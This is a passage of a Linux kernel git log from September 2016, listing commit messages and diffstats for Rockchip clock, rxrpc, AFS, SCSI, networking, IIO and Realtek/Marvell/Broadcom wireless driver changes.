CLK_SET_RATE_PARENT, but until they do let's not confuse the common clock framework (and anyone using it) by setting the flag. Signed-off-by: Douglas Anderson Signed-off-by: Chris Zhong Signed-off-by: Heiko Stuebner drivers/clk/rockchip/clk-rk3399.c | 26 +++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) commit fd75b345bb3d97ee4b2aad1d313e8ffe627ce7e7 Author: Shunqian Zheng Date: Thu Sep 1 07:06:22 2016 +0800 clk: rockchip: add 2016M to big cpu clk rate table on rk3399 We would prefer the 2016M as 2.0G than 1992M which seems odd, adding it to big cpu clk rate table then we can set 2016M in dts. Signed-off-by: Shunqian Zheng Reviewed-by: Xing Zheng Signed-off-by: Heiko Stuebner drivers/clk/rockchip/clk-rk3399.c | 1 + 1 file changed, 1 insertion(+) commit 464b9eeb9709877ad5557d2ade6b56ae146167c7 Author: Lin Huang Date: Mon Aug 22 11:36:19 2016 +0800 clk: rockchip: add rk3399 ddr clock support add ddrc clock setting, so we can do ddr frequency scaling on rk3399 platform in future. Signed-off-by: Lin Huang Signed-off-by: Heiko Stuebner drivers/clk/rockchip/clk-rk3399.c | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) commit 9750217d10ebb4016be680044e3f8e193339008f Merge: a4f182b e33075d Author: Heiko Stuebner Date: Sun Sep 4 22:57:55 2016 +0200 Merge branch 'v4.9-shared/clkids' into v4.9-clk/next commit 3dc20f090d84a7b08bc1d5729c874ebbd0465468 Author: David Howells Date: Sun Sep 4 13:25:21 2016 +0100 rxrpc Move enum rxrpc_command to sendmsg.c Move enum rxrpc_command to sendmsg.c as it's now only used in that file. Signed-off-by: David Howells net/rxrpc/ar-internal.h | 7 ------- net/rxrpc/sendmsg.c | 7 +++++++ 2 files changed, 7 insertions(+), 7 deletions(-) commit 434e6120036d1dd1004cadf5a99941cdd9c1a59f Author: Bhaktipriya Shridhar Date: Sun Sep 4 20:54:58 2016 +0530 fs/afs/flock: Remove deprecated create_singlethread_workqueue The workqueue "afs_lock_manager" queues work item &vnode->lock_work, per vnode. Since there can be multiple vnodes and since their work items can be executed concurrently, alloc_workqueue has been used to replace the deprecated create_singlethread_workqueue instance. The WQ_MEM_RECLAIM flag has been set to ensure forward progress under memory pressure because the workqueue is being used on a memory reclaim path. Since there are fixed number of work items, explicit concurrency limit is unnecessary here. Signed-off-by: Bhaktipriya Shridhar Signed-off-by: David Howells fs/afs/flock.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit df423a4af125f5b3d6f71b630e5c209774c353fd Author: David Howells Date: Fri Sep 2 22:39:45 2016 +0100 rxrpc: Rearrange net/rxrpc/sendmsg.c Rearrange net/rxrpc/sendmsg.c to be in a more logical order. This makes it easier to follow and eliminates forward declarations. Signed-off-by: David Howells net/rxrpc/sendmsg.c | 1006 +++++++++++++++++++++++++-------------------------- 1 file changed, 501 insertions(+), 505 deletions(-) commit 4c136dae62f7a62383a9d6563c8613e732bfefaf Author: Bhaktipriya Shridhar Date: Sun Sep 4 20:54:11 2016 +0530 fs/afs/callback: Remove deprecated create_singlethread_workqueue The workqueue "afs_callback_update_worker" queues multiple work items viz &vnode->cb_broken_work, &server->cb_break_work which require strict execution ordering. Hence, an ordered dedicated workqueue has been used. Since the workqueue is being used on a memory reclaim path, WQ_MEM_RECLAIM has been set to ensure forward progress under memory pressure. Signed-off-by: Bhaktipriya Shridhar Signed-off-by: David Howells fs/afs/callback.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 0b58b8a18be4932849ec88a820b08345c6528ea5 Author: David Howells Date: Fri Sep 2 22:39:45 2016 +0100 rxrpc: Split sendmsg from packet transmission code Split the sendmsg code from the packet transmission code (mostly to be found in output.c). Signed-off-by: David Howells net/rxrpc/Makefile | 1 + net/rxrpc/ar-internal.h | 9 +- net/rxrpc/misc.c | 5 + net/rxrpc/output.c | 630 ---------------------------------------------- net/rxrpc/sendmsg.c | 645 ++++++++++++++++++++++++++++++++++++++++++++++++ 5 files changed, 657 insertions(+), 633 deletions(-) commit 69ad052aec6bb9a3f376b6ae117dfde28ed337c8 Author: Bhaktipriya Shridhar Date: Sun Sep 4 20:53:42 2016 +0530 fs/afs/rxrpc: Remove deprecated create_singlethread_workqueue The workqueue "afs_async_calls" queues work item &call->async_work per afs_call. Since there could be multiple calls and since these calls can be run concurrently, alloc_workqueue has been used to replace the deprecated create_singlethread_workqueue instance. The WQ_MEM_RECLAIM flag has been set to ensure forward progress under memory pressure because the workqueue is being used on a memory reclaim path. Since there are fixed number of work items, explicit concurrency limit is unnecessary here. Signed-off-by: Bhaktipriya Shridhar Signed-off-by: David Howells fs/afs/rxrpc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9ce4d7d3850d1af0f3732c3da8e324cb83a45ca0 Author: Bhaktipriya Shridhar Date: Sun Sep 4 20:52:39 2016 +0530 fs/afs/vlocation: Remove deprecated create_singlethread_workqueue The workqueue "afs_vlocation_update_worker" queues a single work item &afs_vlocation_update and hence it doesn't require execution ordering. Hence, alloc_workqueue has been used to replace the deprecated create_singlethread_workqueue instance. Since the workqueue is being used on a memory reclaim path, WQ_MEM_RECLAIM flag has been set to ensure forward progress under memory pressure. Since there are fixed number of work items, explicit concurrency limit is unnecessary here. Signed-off-by: Bhaktipriya Shridhar Signed-off-by: David Howells fs/afs/vlocation.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 090f85deb6e88f0edff1a18d610abd857e30c753 Author: David Howells Date: Sun Sep 4 13:14:46 2016 +0100 rxrpc: Don't change the epoch It seems the local epoch should only be changed on boot, so remove the code that changes it for client connections. Signed-off-by: David Howells net/rxrpc/conn_client.c | 32 ++++++++------------------------ 1 file changed, 8 insertions(+), 24 deletions(-) commit 5f2d9c44389e7cd9fe192570f6f20199bc861eb8 Author: David Howells Date: Fri Sep 2 22:39:45 2016 +0100 rxrpc: Randomise epoch and starting client conn ID values Create a random epoch value rather than a time-based one on startup and set the top bit to indicate that this is the case. Also create a random starting client connection ID value. This will be incremented from here as new client connections are created. Signed-off-by: David Howells include/rxrpc/packet.h | 1 + net/rxrpc/af_rxrpc.c | 9 ++++++++- 2 files changed, 9 insertions(+), 1 deletion(-) commit e33075db73ca24f6107594a054680a90c4a8d64f Author: Yakir Yang Date: Thu Sep 1 20:26:24 2016 -0700 clk: rockchip: add dclk_vop_frac ids for rk3399 vop Export the dclk_vop_frac out, so we can set the dclk_vop as the child of dclk_vop_frac, and then we can start to take use of the fractional dividers. Signed-off-by: Yakir Yang Signed-off-by: Chris Zhong Signed-off-by: Heiko Stuebner include/dt-bindings/clock/rk3399-cru.h | 2 ++ 1 file changed, 2 insertions(+) commit 2f5281ba2a8feaf6f0aee93356f350855bb530fc Author: Paul Burton Date: Fri Sep 2 15:22:48 2016 +0100 net: ti: cpmac: Fix compiler warning due to type confusion cpmac_start_xmit() used the max() macro on skb->len (an unsigned int) and ETH_ZLEN (a signed int literal). This led to the following compiler warning: In file included from include/linux/list.h:8:0, from include/linux/module.h:9, from drivers/net/ethernet/ti/cpmac.c:19: drivers/net/ethernet/ti/cpmac.c: In function 'cpmac_start_xmit': include/linux/kernel.h:748:17: warning: comparison of distinct pointer types lacks a cast (void) (&_max1 == &_max2); \ ^ drivers/net/ethernet/ti/cpmac.c:560:8: note: in expansion of macro 'max' len = max(skb->len, ETH_ZLEN); ^ On top of this, it assigned the result of the max() macro to a signed integer whilst all further uses of it result in it being cast to varying widths of unsigned integer. Fix this up by using max_t to ensure the comparison is performed as unsigned integers, and for consistency change the type of the len variable to unsigned int. Signed-off-by: Paul Burton Signed-off-by: David S. Miller drivers/net/ethernet/ti/cpmac.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 661dbeb9d6e6e698d469c334527eae8177810b1f Author: Hariprasad Shenai Date: Fri Sep 2 19:13:53 2016 +0530 cxgb4: Add support for ndo_get_vf_config Adds support for ndo_get_vf_config, also fill the default mac address that will be provided to the VF by firmware, in case user doesn't provide one. So user can get the default MAC address address also through ndo_get_vf_config. Signed-off-by: Hariprasad Shenai Signed-off-by: David S. Miller drivers/net/ethernet/chelsio/cxgb4/cxgb4.h | 8 ++++ drivers/net/ethernet/chelsio/cxgb4/cxgb4_main.c | 64 ++++++++++++++++++++++++- drivers/net/ethernet/chelsio/cxgb4/t4_hw.c | 2 +- 3 files changed, 72 insertions(+), 2 deletions(-) commit 6f2a80276364f24734eb6b6d0fe1798598aeab90 Merge: 7664423 bc51ddd Author: David S. Miller Date: Sun Sep 4 11:39:59 2016 -0700 Merge branch 'netns-opt' Cong Wang says: ==================== net: some minor optimization for netns id Cong Wang (2): vxlan: call peernet2id() in fdb notification netns: avoid disabling irq for netns id ==================== Signed-off-by: David S. Miller commit bc51dddf98c907b598e645ae4b277ed1295b6d5f Author: WANG Cong Date: Thu Sep 1 21:53:45 2016 -0700 netns: avoid disabling irq for netns id We never read or change netns id in hardirq context, the only place we read netns id in softirq context is in vxlan_xmit(). So, it should be enough to just disable BH. Cc: Nicolas Dichtel Signed-off-by: Cong Wang Signed-off-by: David S. Miller net/core/net_namespace.c | 35 +++++++++++++++-------------------- 1 file changed, 15 insertions(+), 20 deletions(-) commit 38f507f1ba013effec3d7deb84273ac1829e6b87 Author: WANG Cong Date: Thu Sep 1 21:53:44 2016 -0700 vxlan: call peernet2id() in fdb notification netns id should be already allocated each time we change netns, that is, in dev_change_net_namespace() (more precisely in rtnl_fill_ifinfo()). It is safe to just call peernet2id() here. Cc: Nicolas Dichtel Signed-off-by: Cong Wang Acked-by: Nicolas Dichtel Signed-off-by: David S. Miller drivers/net/vxlan.c | 2 +- net/core/net_namespace.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit 76644232e6122808947aa329bb995ea68ad01442 Author: Joe Stringer Date: Thu Sep 1 18:01:47 2016 -0700 openvswitch: Free tmpl with tmpl_free. When an error occurs during conntrack template creation as part of actions validation, we need to free the template. Previously we've been using nf_ct_put() to do this, but nf_ct_tmpl_free() is more appropriate. Signed-off-by: Joe Stringer Signed-off-by: David S. Miller net/openvswitch/conntrack.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 70e483487db787b152da756d4be0fef917378142 Author: Gregor Boirie Date: Fri Sep 2 20:47:55 2016 +0200 iio: add resource managed triggered buffer init helpers Add resource managed devm_iio_triggered_buffer_setup() and devm_iio_triggered_buffer_cleanup() to automatically clean up triggered buffers setup by IIO drivers, thus leading to simplified IIO drivers code. Signed-off-by: Gregor Boirie Signed-off-by: Jonathan Cameron Documentation/driver-model/devres.txt | 2 ++ drivers/iio/buffer/industrialio-triggered-buffer.c | 42 ++++++++++++++++++++++ drivers/iio/industrialio-core.c | 3 +- include/linux/iio/iio.h | 1 + include/linux/iio/triggered_buffer.h | 8 +++++ 5 files changed, 55 insertions(+), 1 deletion(-) commit 9083325f1197a6956db17809d74dbe3578dc1005 Author: Gregor Boirie Date: Fri Sep 2 20:47:54 2016 +0200 iio:trigger: add resource managed (un)register Add resource managed devm_iio_trigger_register() and devm_iio_triger_unregister() to automatically clean up registered triggers allocated by IIO drivers, thus leading to simplified IIO drivers code. Signed-off-by: Gregor Boirie Signed-off-by: Jonathan Cameron Documentation/driver-model/devres.txt | 2 ++ drivers/iio/industrialio-trigger.c | 59 +++++++++++++++++++++++++++++++++++ include/linux/iio/trigger.h | 6 ++++ 3 files changed, 67 insertions(+) commit af338a9ea60acc6337fe9fcdcf664aec2520e541 Author: David Howells Date: Sun Sep 4 13:10:10 2016 +0100 rxrpc: The client call state must be changed before attachment to conn We must set the client call state to RXRPC_CALL_CLIENT_SEND_REQUEST before attaching the call to the connection struct, not after, as it's liable to receive errors and conn aborts as soon as the assignment is made - and these will cause its state to be changed outside of the initiating thread's control. Signed-off-by: David Howells net/rxrpc/call_object.c | 2 -- net/rxrpc/conn_client.c | 4 ++++ 2 files changed, 4 insertions(+), 2 deletions(-) commit 151770524b73816a00a785bd613ea80398b33190 Author: Baoyou Xie Date: Mon Aug 29 18:19:00 2016 +0800 scsi: ufs: Add missing header dependencies for tc-dwc-g210 We get 2 warnings when build kernel with W=1: drivers/scsi/ufs/tc-dwc-g210.c:261:5: warning: no previous prototype for 'tc_dwc_g210_config_40_bit' [-Wmissing-prototypes] drivers/scsi/ufs/tc-dwc-g210.c:293:5: warning: no previous prototype for 'tc_dwc_g210_config_20_bit' [-Wmissing-prototypes] In fact, these functions are declared in ufs/tc-dwc-g210.h, so this patch add missing header dependencies Signed-off-by: Baoyou Xie Signed-off-by: Martin K. Petersen drivers/scsi/ufs/tc-dwc-g210.c | 1 + 1 file changed, 1 insertion(+) commit a816b4c67ae68a36a8775484b09ad727e4a28e3d Author: Julia Lawall Date: Sun Aug 28 22:17:38 2016 +0200 scsi: sr: constify sr_pm_ops structure sr_pm_ops, of type struct dev_pm_ops, is never modified, so declare it as const. Done with the help of Coccinelle. Signed-off-by: Julia Lawall Signed-off-by: Martin K. Petersen drivers/scsi/sr.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 61b96d5b68a5aa58351a461cae81117ca9744069 Author: Baoyou Xie Date: Sat Aug 27 23:49:24 2016 +0800 scsi: pmcraid: mark symbols static where possible We get 4 warnings about global functions without a declaration in the scsi pmcraid driver when building with W=1: drivers/scsi/pmcraid.c:309:6: warning: no previous prototype for 'pmcraid_init_cmdblk' [-Wmissing-prototypes] drivers/scsi/pmcraid.c:404:6: warning: no previous prototype for 'pmcraid_return_cmd' [-Wmissing-prototypes] drivers/scsi/pmcraid.c:1713:6: warning: no previous prototype for 'pmcraid_ioasc_logger' [-Wmissing-prototypes] drivers/scsi/pmcraid.c:3141:1: warning: no previous prototype for 'pmcraid_init_ioadls' [-Wmissing-prototypes] In fact, these functions are only used in the file in which it is declared and don't need a declaration, but can be made static. so this patch marks it 'static'. Signed-off-by: Baoyou Xie Signed-off-by: Martin K. Petersen drivers/scsi/pmcraid.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit f6dbe38edf1ef4929847c90e244204ef4c6b3ce7 Author: Bryant G. Ly Date: Wed Aug 31 11:29:01 2016 -0500 scsi: ibmvscsis: Fixed a bug reported by Dan Carpenter SUPPORTED_FORMATS is 1 << 1 so it's never zero. Signed-off-by: Bryant G. Ly Signed-off-by: Michael Cyr Signed-off-by: Martin K. Petersen drivers/scsi/ibmvscsi_tgt/ibmvscsi_tgt.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 812902159d4174df9a82948c0445becb865dabec Author: Bryant G. Ly Date: Wed Aug 31 11:29:00 2016 -0500 scsi: ibmvscsis: Code cleanup of print statements [mkp: applied by hand] Signed-off-by: Bryant G. Ly Signed-off-by: Michael Cyr Signed-off-by: Martin K. Petersen drivers/scsi/ibmvscsi_tgt/ibmvscsi_tgt.c | 26 ++------------------------ 1 file changed, 2 insertions(+), 24 deletions(-) commit 712db3eb2c35e79986268bcd694ba8075445737d Author: Bryant G. Ly Date: Wed Aug 31 11:28:59 2016 -0500 scsi: ibmvscsis: Properly deregister target sessions The driver currently doesn't properly deregisters target sessions completely, so this will address that. Signed-off-by: Bryant G. Ly Signed-off-by: Michael Cyr Signed-off-by: Martin K. Petersen drivers/scsi/ibmvscsi_tgt/ibmvscsi_tgt.c | 2 ++ 1 file changed, 2 insertions(+) commit 94ae3ce189c75e7d74753b0e1d3e855786514f03 Author: Pierre-Louis Bossart Date: Sat Sep 3 11:23:26 2016 -0500 ASoC: Intel: Atom: fix IOSF_MBI dependency fix issue reported by 0-Day with randconfig The commit a68bc0d43e1b ("ASoC: Intel: Atom: auto-detection of Baytrail-CR") added a dependency on IOSF_MBI. The code used the IS_ENABLED macro to check for this dependency but this is not enough in case the SST driver is built-in. This could be fixed with IS_REACHABLE but Baytrail-CR would not be detected depending on combinations of options Add dependency in Kconfig to solve this for good Reported-by: 0 day tester Signed-off-by: Pierre-Louis Bossart Signed-off-by: Mark Brown sound/soc/intel/Kconfig | 1 + 1 file changed, 1 insertion(+) commit 5856cd5b8dda5ee013a2b0abbab0552a6f14d72d Author: Oleg Drokin Date: Fri Aug 26 23:12:23 2016 -0400 rtlwifi/rtl8192de: Fix print format string %ul was likely meant as %lu to print an unsigned long, not an unsigned with a letter l at the end. But in fact the value printed is u32 anyway, so just drop the l completely. Signed-off-by: Oleg Drokin Acked-by: Larry Finger Signed-off-by: Kalle Valo drivers/net/wireless/realtek/rtlwifi/rtl8192de/phy.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit b9aebb69ecd33f5163b24c2d0f928260caf6a86b Author: Stanislaw Gruszka Date: Thu Aug 25 17:05:18 2016 +0200 mwifiex: do not print dot when downloading FW Printing about 3000 lines like this [ 20.691850] mwifiex_pcie 0000:02:00.0: . [ 20.693466] mwifiex_pcie 0000:02:00.0: . is not useful. If FW downloading will be interrupted, we will get proper error message about that. Signed-off-by: Stanislaw Gruszka Signed-off-by: Kalle Valo drivers/net/wireless/marvell/mwifiex/pcie.c | 2 -- 1 file changed, 2 deletions(-) commit 09dd9ec598c3fdcb9874d13d9bbab0e2ece6748b Author: Stanislaw Gruszka Date: Thu Aug 25 17:05:17 2016 +0200 mwifiex: print status of FW ready event For debugging purpose print content of reg->fw_status register and other variables values when waiting for firmware ready event. Signed-off-by: Stanislaw Gruszka Signed-off-by: Kalle Valo drivers/net/wireless/marvell/mwifiex/pcie.c | 4 ++++ 1 file changed, 4 insertions(+) commit fd3fbb65cab86c07f5881ccb919a440497c0960d Author: Stanislaw Gruszka Date: Thu Aug 25 17:05:16 2016 +0200 mwifiex: make "PCI-E is not the winner" print more informative Printing ret and adapter->winner do not provide any useful information as those are always 0 at point where the massage is printed. Print value read from reg->fw_status register instead. Stanislaw Gruszka Signed-off-by: Kalle Valo drivers/net/wireless/marvell/mwifiex/pcie.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit c5aa9541818a1aacf05ab9a30c3f525841cdc1c9 Author: Guy Mishol Date: Wed Aug 24 14:35:27 2016 +0300 wl18xx: add time sync configuration api Add time sync configuration api. The new api allows to configure the synchronization mode (STA/AP/MESH) and (in case of Mesh mode) the master address of each zone. Signed-off-by: Guy Mishol Signed-off-by: Kalle Valo drivers/net/wireless/ti/wl18xx/acx.c | 29 +++++++++++++++++++++++++++++ drivers/net/wireless/ti/wl18xx/acx.h | 13 +++++++++++++ drivers/net/wireless/ti/wl18xx/event.c | 1 + drivers/net/wireless/ti/wlcore/wlcore.h | 3 +++ 4 files changed, 46 insertions(+) commit 7703773ef1d85b40433902a8da20167331597e4a Author: Nicolas Iooss Date: Tue Aug 23 11:37:17 2016 +0200 brcmfmac: fix pmksa->bssid usage The struct cfg80211_pmksa defines its bssid field as: const u8 *bssid; contrary to struct brcmf_pmksa, which uses: u8 bssid[ETH_ALEN]; Therefore in brcmf_cfg80211_del_pmksa(), &pmksa->bssid takes the address of this field (of type u8**), not the one of its content (which would be u8*). Remove the & operator to make brcmf_dbg("%pM") and memcmp() behave as expected. This bug have been found using a custom static checker (which checks the usage of %p... attributes at build time). It has been introduced in commit 6c404f34f2bd ("brcmfmac: Cleanup pmksa cache handling code"), which replaced pmksa->bssid by &pmksa->bssid while refactoring the code, without modifying struct cfg80211_pmksa definition. Replace &pmk[i].bssid with pmk[i].bssid too to make the code clearer, this change does not affect the semantic. Fixes: 6c404f34f2bd ("brcmfmac: Cleanup pmksa cache handling code") Cc: stable@vger.kernel.org Signed-off-by: Nicolas Iooss Signed-off-by: Kalle Valo drivers/net/wireless/broadcom/brcm80211/brcmfmac/cfg80211.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit bccf3ffc8c6d8e0251a15541bb4d12b423c4f729 Author: Ismael Luceno Date: Mon Aug 22 19:40:07 2016 -0300 brcmfmac: Add USB ID for Cisco Linksys AE1200 The AE1200 comes with different revisions of the BCM43235 chipset, but all have the same USB ID. Only revision 3 can be supported. Signed-off-by: Ismael Luceno Signed-off-by: Kalle Valo drivers/net/wireless/broadcom/brcm80211/brcmfmac/usb.c | 4 ++++ drivers/net/wireless/broadcom/brcm80211/include/brcm_hw_ids.h | 2 ++ 2 files changed, 6 insertions(+) commit 0c9d3491530773858ff9d705ec2a9c382f449230 Author: Larry Finger Date: Mon Aug 22 14:27:59 2016 -0500 rtlwifi: Fix missing country code for Great Britain Some RTL8821AE devices sold in Great Britain have the country code of 0x25 encoded in their EEPROM. This value is not tested in the routine that establishes the regulatory info for the chip. The fix is to set this code to have the same capabilities as the EU countries. In addition, the channels allowed for COUNTRY_CODE_ETSI were more properly suited for China and Israel, not the EU. This problem has also been fixed. Signed-off-by: Larry Finger Cc: Stable Signed-off-by: Kalle Valo drivers/net/wireless/realtek/rtlwifi/regd.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit b46b599328e6d46397ca353266d7ec5b7a04bb02 Author: Colin Ian King Date: Mon Aug 22 19:35:05 2016 +0100 zd1211rw: fix spelling mistake "firmeware" -> "firmware" Trivial fix to spelling mistake in dev_err message. Signed-off-by: Colin Ian King Reviewed-by: Julian Calaby Signed-off-by: Kalle Valo drivers/net/wireless/zydas/zd1211rw/zd_usb.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7329dc13107b2315a7b8ba5a75048935304c55a0 Author: Hans de Goede Date: Fri Aug 19 17:46:42 2016 -0400 rtl8xxxu: Make rtl8xxxu_ampdu_action less chatty On my home network rtl8xxxu is spamming the log with IEEE80211_AMPDU_RX_START / IEEE80211_AMPDU_RX_STOP every few seconds turn these messages into debug messages. Signed-off-by: Hans de Goede Signed-off-by: Jes Sorensen [kvalo@codeaurora.org: fix commit title] Signed-off-by: Kalle Valo drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu_core.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 77e3980201e7d54b2e63653b46a6baba26040cef Author: Wei Yongjun Date: Fri Aug 19 17:46:41 2016 -0400 rtl8xxxu: gen1: Fix non static symbol warning Fixes the following sparse warning: drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu_core.c:898:1: warning: symbol 'rtl8xxxu_gen1_h2c_cmd' was not declared. Should it be static? Signed-off-by: Wei Yongjun Signed-off-by: Jes Sorensen Signed-off-by: Kalle Valo drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu_core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b59415c2dd088ffce62fbde737c8b2d04fb6e015 Author: Jes Sorensen Date: Fri Aug 19 17:46:40 2016 -0400 rtl8xxxu: Split filling of TX descriptors into separate functions Split the filling of TX descriptors into a generic portion used on all devices, and format specific helper functions provided in the fops structure. This also cleaned up some mess, even if non harmful, in the handling of txdesc40 descriptors, where the code randomly would switch between the pointer to tx_desc and tx_desc40. Signed-off-by: Jes Sorensen Signed-off-by: Kalle Valo drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu.h | 12 ++ .../net/wireless/realtek/rtl8xxxu/rtl8xxxu_8192c.c | 1 + .../net/wireless/realtek/rtl8xxxu/rtl8xxxu_8192e.c | 1 + .../net/wireless/realtek/rtl8xxxu/rtl8xxxu_8723a.c | 1 + .../net/wireless/realtek/rtl8xxxu/rtl8xxxu_8723b.c | 1 + .../net/wireless/realtek/rtl8xxxu/rtl8xxxu_core.c | 198 ++++++++++++--------- 6 files changed, 125 insertions(+), 89 deletions(-) commit 99afaac4278c9581cef17ddc0c842b51f9b6206d Author: Jes Sorensen Date: Fri Aug 19 17:46:39 2016 -0400 rtl8xxxu: Determine need for shore preamble before updating TX descriptors Another patch to move this detection out of the code handling the TX descriptor update. Signed-off-by: Jes Sorensen Signed-off-by: Kalle Valo drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu_core.c | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) commit 3972cc579140e48e8390fff5e94f6e9e78c3dd87 Author: Jes Sorensen Date: Fri Aug 19 17:46:38 2016 -0400 rtl8xxxu: Determine the need for SGI before handling specific TX desc formats In order to be able to split out the TX descriptor handling code, determine in advance the need to mark SGI. Signed-off-by: Jes Sorensen Signed-off-by: Kalle Valo drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu_core.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit be49b1f111c76ce20a60a90587e2b8e8ab809a06 Author: Jes Sorensen Date: Fri Aug 19 17:46:37 2016 -0400 rtl8xxxu: Simplify calculating of hw value used for setting TX rate Calculating the value in one place rather than using one calculation in one place and a different one for management frames in another location makes little sense. Signed-off-by: Jes Sorensen Signed-off-by: Kalle Valo drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu_core.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit eed145ab25a3eeba4caf2d4be0b5c7a3097f39bd Author: Jes Sorensen Date: Fri Aug 19 17:46:36 2016 -0400 rtl8xxxu: Introduce fops bitflag indicating type of thermal meter Do not rely on TX descriptor size to determine the thermal meter type. Signed-off-by: Jes Sorensen Signed-off-by: Kalle Valo drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu.h | 1 + drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu_8192e.c | 1 + drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu_8723b.c | 1 + drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu_core.c | 2 +- 4 files changed, 4 insertions(+), 1 deletion(-) commit ee675cc30e07cc925489e9663539e69873b04100 Author: Jes Sorensen Date: Fri Aug 19 17:46:35 2016 -0400 rtl8xxxu: Convert flags in rtl8xxxu_fileops to bitflags This leaves space for a few more flags within the same space. Signed-off-by: Jes Sorensen Signed-off-by: Kalle Valo drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit e3ebcd7428c142fb7b74ded9a624cddfb403d2c5 Author: Jes Sorensen Date: Fri Aug 19 17:46:34 2016 -0400 rtl8xxxu: Use flag to indicate whether device has TX report timer support Use a fileops flag to indicate whether the device has TX report timer support. This will make it easier to include future devices such as 8188eu to use the TX report timer. Signed-off-by: Jes Sorensen Signed-off-by: Kalle Valo drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu.h | 1 + drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu_8723b.c | 1 + drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu_core.c | 5 ++--- 3 files changed, 4 insertions(+), 3 deletions(-) commit 0b09628948bce970e14ef61a6788caa93285a132 Author: Jes Sorensen Date: Fri Aug 19 17:46:33 2016 -0400 rtl8xxxu: Add interrupt bit definitions for gen2 parts These are primarily needed for SDIO/PCI parts, but the vendor driver still sets them for some USB devices. Signed-off-by: Jes Sorensen Signed-off-by: Kalle Valo .../net/wireless/realtek/rtl8xxxu/rtl8xxxu_regs.h | 56 ++++++++++++++++++++++ 1 file changed, 56 insertions(+) commit dce7548fd9700c4c4ecda936dcf7326b9241a6d3 Author: Jes Sorensen Date: Fri Aug 19 17:46:32 2016 -0400 rtl8xxxu: Add bit definitions for REG_FPGA0_TX_INFO This adds TX antenna selection bit defines for OFDM mode. Signed-off-by: Jes Sorensen Signed-off-by: Kalle Valo drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu_regs.h | 4 ++++ 1 file changed, 4 insertions(+) commit e02aa3eef786aab82f9929fea25f5f7e9f77ba69 Author: Jes Sorensen Date: Fri Aug 19 17:46:31 2016 -0400 rtl8xxxu: Simplify code setting TX buffer boundary With all devices now offering fops->total_page_num, get rid of the if mess for setting the TX buffer boundary. Signed-off-by: Jes Sorensen Signed-off-by: Kalle Valo drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu_core.c | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) commit efeb8ce7a98cfb60932c6a53ce86359bf6b33b67 Author: Jes Sorensen Date: Fri Aug 19 17:46:30 2016 -0400 rtl8xxxu: Remove now obsolete rtl8xxxu_old_init_queue_reserved_page() Switching over the old devices to use the new function allows us to get rid of this legacy. Signed-off-by: Jes Sorensen Signed-off-by: Kalle Valo .../net/wireless/realtek/rtl8xxxu/rtl8xxxu_core.c | 30 ++-------------------- 1 file changed, 2 insertions(+), 28 deletions(-) commit b492940dc1f7372fb95930dc5bde8d7dbc560cd3 Author: Jes Sorensen Date: Fri Aug 19 17:46:29 2016 -0400 rtl8xxxu: Switch 8192cu/8188cu devices to use rtl8xxxu_init_queue_reserved_page() This was the last user of the old rtl8xxxu_old_init_queue_reserved_page() which can now be removed. Signed-off-by: Jes Sorensen Signed-off-by: Kalle Valo drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu_8192c.c | 4 ++++ 1 file changed, 4 insertions(+) commit e366f45d36275b80a5615c68123c88a3de75cc22 Author: Jes Sorensen Date: Fri Aug 19 17:46:28 2016 -0400 rtl8xxxu: Switch 8723a to use new rtl8xxxu_init_queue_reserved_page() routine This changes the pub-queue value written to REQ_RQPN, however the old code used a hard coded minimum value assuming there would always be an active lo-queue, even when no USB EP was found for it. Signed-off-by: Jes Sorensen Signed-off-by: Kalle Valo drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu_8723a.c | 4 ++++ 1 file changed, 4 insertions(+) commit 44abaa08d002235e1bbc2b9e0fd46a64e4694596 Author: Jes Sorensen Date: Fri Aug 19 17:46:27 2016 -0400 rtl8xxxu: Add TX page defines for 8723b This switches the 8723b driver to use the new rtl8xxxu_init_queue_reserved_page() function. Signed-off-by: Jes Sorensen Signed-off-by: Kalle Valo drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu.h | 6 ++++++ drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu_8723b.c | 4 ++++ 